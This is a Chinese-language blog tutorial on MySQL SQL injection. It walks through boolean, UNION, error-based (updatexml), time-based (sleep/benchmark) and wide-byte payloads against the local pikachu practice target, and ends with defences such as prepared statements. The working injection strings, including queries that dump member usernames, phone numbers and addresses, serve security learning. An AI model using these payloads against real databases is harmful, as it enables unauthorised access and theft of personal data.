目录
SQL注入原理
程序员没有遵循代码与数据分离原则,使用户数据作为代码执行。
SQL注入条件
- 用户可以控制数据的输入。
- 原本要运行的代码拼接了用户的输入。
基本知识(Mysql)
注释
#或--空格是单行
/**/是内联注释
注入点检测
页面返回正常
and 1=1--+
or 1=2--+
页面返回异常
and 1=2--+
or 1=1--+
information_schema
mysql 5.0之后有这个表,包含数据库的很多信息,常用SCHEMATA、TABLES、COLUMNS。
SCHEMATA表存储数据库名,字段为SCHEMA_NAME
TABLES表存储表名及表所属数据库,字段为TABLE_NAME、TABLE_SCHEMA
COLUMNS表存储列名及所属数据库名、所属表名,字段为COLUMN_NAME、TABLE_SCHEMA、TABLE_NAME
常用函数
- database()当前使用的数据库名
- version()mysql版本号
ORDER BY字段数目查询
number从小到大尝试,或采用二分法
order by number
UNION 查询
查询所有数据库
所有数据库,字段数由order by给出(下同),当前的用database()函数即可
UNION SELECT 1,group_concat(schema_name) from information_schema.schemata-–+
查询当前表名
UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
查询当前列名
从上面的结果选择table_name
UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=table_name--+
查询当前字段值
从上面的结果选择column
UNION SELECT 1,group_concat(column1,column1,...) from table_name--+
查询语句
SELECT〈目标列组〉
FROM〈数据源〉
[WHERE〈元组选择条件〉]
[GROUP BY〈分列组〉[HAVING 〈组选择条件〉]]
[ORDER BY〈排序列1〉〈排序要求1〉 [,…n]];
SQL注入技术
按照sqlmap的分类(BUETSQ)
Boolean注入攻击
构造SQL判断语句,通过查看页面的返回结果来推测SQL判断语句条件是否成立,以此来获取数据库中的数据。
数据库长度
and length(database())=7
使用length函数和database函数,可采用二分法加快查找速度,一般使用脚本或工具进行攻击。
数据库名
mysql substr函数:
substr(str,pos,len);//str:字符串,pos:起始位置,len:截断长度
and substr(database(),1,1)='p'
and ascii(substr(database(),1,1))=112
在使用sqlmap时,有时发现数据库名或表名1个接1个的显示,就是使用这个方法进行暴力破解。后面的演示手工也是做个样子,实际上不会手工,太累了。
Union注入攻击
利用union查询来想要运行的sql语句
报错注入攻击
一般利用floor,updatexml, extractvalue函数。
利用updatexml函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串) 。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
一般使用如下结构,sql是你想运行的sql语句。
updatexml(1,concat(0x7e,(sql),0x7e),1)
concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出sql语句运行后的结果。
sqlmap集成了上述的三种方式,同时还有其他的
时间注入攻击
mysql IF函数
IF(expr,if_true_expr,if_false_expr),根据表达的真假返回第二或第三个表达式的值
mysql Bechmark函数
BENCHMARK(count,expr),重复执行count次表达式expr,返回总时间(单位,秒)。
时间注入攻击不同于Boolean盲注的地方在于利用sleep()、Benchmark()函数让mysql执行时间变长,多结合if函数。
数据库长度
if(length(database()=7),sleep(3),1)
数据库名
if(substr(database(),1,1)='p',sleep(3),1)
堆叠注入注入攻击
内联注入攻击
宽字节注入
宽字节是在一些特定的编码,如GBK中才有的,编码将两个字节认为是一个汉字(前一个字符ascii码要大于128,才到汉字的范围)。addslashes函数为了防止sql注入,将传入参数值进行转义。将' 转义为\',单引号失去作用。因此,我们需要将\给绕过,这样才可以加'号。
\编码为%5C,我们一般在地址后添加%df。
添加后\变成了汉字,这样就绕过了\。之后就和前面的一样了,当然,还有双引号等,除了GBK还有GB2312等编码,有兴趣的可以整理一下所有的,
SQL注入类型
有讲解及一个手工注入靶机实战,使用靶机pikachu,火狐浏览器及插件hackbar v2。
数字型注入
参数为数字,一般是id等。
参数为id和submit,其中id为整型。
猜测sql语句形式为
select userid from users where id = 参数
注入点判断
id=1 and 1=1&submit=查询
id=1 and 1=2&submit=查询
字段数确定
id=3 order by 3&submit=查询
我就从2开始的,靶机的一般不会太大。真实的网络实战的话还是自己写脚本或使用sqlmap。
查询当前数据库
id=1 union select 1,database()&submit=查询
查询当前表
由于火狐对hackbar的一些限制,插件无法正常运行sql语句,就使用Navicat了。如果你不是最新版火狐的话可以试一试。
post data应该是这样的
UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=database()&submit=查询
实际sql语句执行是这样的
查询当前列
post data应该是这样的
id=1 UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name='member'&submit=查询
实际sql语句执行是这样的
查询当前字段
post data应该是这样的
id=1 UNION SELECT 1,group_concat(username,0x3a,phonenum,0x3a,address) from member&submit=查询
实际sql语句执行是这样的
0x3a是冒号的ASCII码
一次手工注入的基本过程如上所述,接下来大部分只讲原理,有特殊的地方再提示。
字符型注入
将参数以字符或字符串形式读入,通过闭合+注释的方式来进行SQL注入,一般是'或",或者结合()。
判断闭合
获取数据
http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=d'union select 1,database()--+&submit=%E6%9F%A5%E8%AF%A2
后面的和之前的差不多。
搜索型注入
其实也算是字符型注入
搜索一般sql语句如下,
select * from users where username like '%$name'
http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=frankyu'or 1=1--+&submit=%E6%90%9C%E7%B4%A2
使用'or 1=1,条件判断为TRUE,所有的都返回,想获取其他的你就从前面常用语句去粘贴就行了。
xx型注入
注入判断
我还以为书上没写的呢,其实还是字符型,只不过需要两个字符去闭合,就是前面提到的(),sql语句类型下面这种。
select * from users where username = ('$name')
不写了,和前面的差不多。
"insert/update"注入
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)and'
0x7e是~,结果如下:
"delete注入"
和上面的差不多,id那里可以报错注入,可以使用Burpsuite进行抓包。
盲注(based on boolean)
前面知道有个用户名是vince,输入显示id和email。使用前面的Boolean 注入攻击技术。
vince' and length(database())=7#
也就是说条件语句where username='vince' and length(database())=7是True,and连接也就是说数据库长度为7。
vince' and substr(database(),1,1)='p'#
vince' and ascii(substr(database(),1,1))=112#
vince' and ascii(substr(database(),2,1))=105#
上面是数据库名第二字符'i'的,数据库名出来后再将database()改为select语句去找表名等。
盲注(based on time)
vince' and if(length(database()=7),sleep(3),1)#
同样,时间上是写脚本,通过返回的时间长短判断,sqlmap有集成。
宽字节注入
博主数据库编码设置的utf-8,就不演示了,其实除了加一个%df外也没什么特别的地方,也可以使用其他的,sqlmap中有temper脚本进行绕过,使用的是%bf。
防御SQL注入的方法
使用预编译语句
绑定变量,攻击者无法改变SQL的结构。不同的编程语言Java、Php有不同的语法,就不做展示了。
使用存储过程
使用安全的存储过程对抗SQL注入,由于存储过程中也可能存在SQL注入问题,应尽量避免使用动态SQL语句。
检查数据类型
例如,需要输入的是整型,那么,可以判断用户的输入,如果包含非整型,例如,字符串"AND"、“BENCHMARK”等,则不运行sql语句。其他类型,例如,邮箱等可以通过使用正则表达式来进行判断。
使用安全函数
各个厂商都有一些安全函数,例如,微软SQL安全函数
关于如何进行sql注入及靶机实战,可以参考下方链接。
未完待续...
更多内容查看:网络安全-自学笔记
喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。如果您感觉有所收获,自愿打赏,可选择支付宝18833895206(小于),您的支持是我不断更新的动力。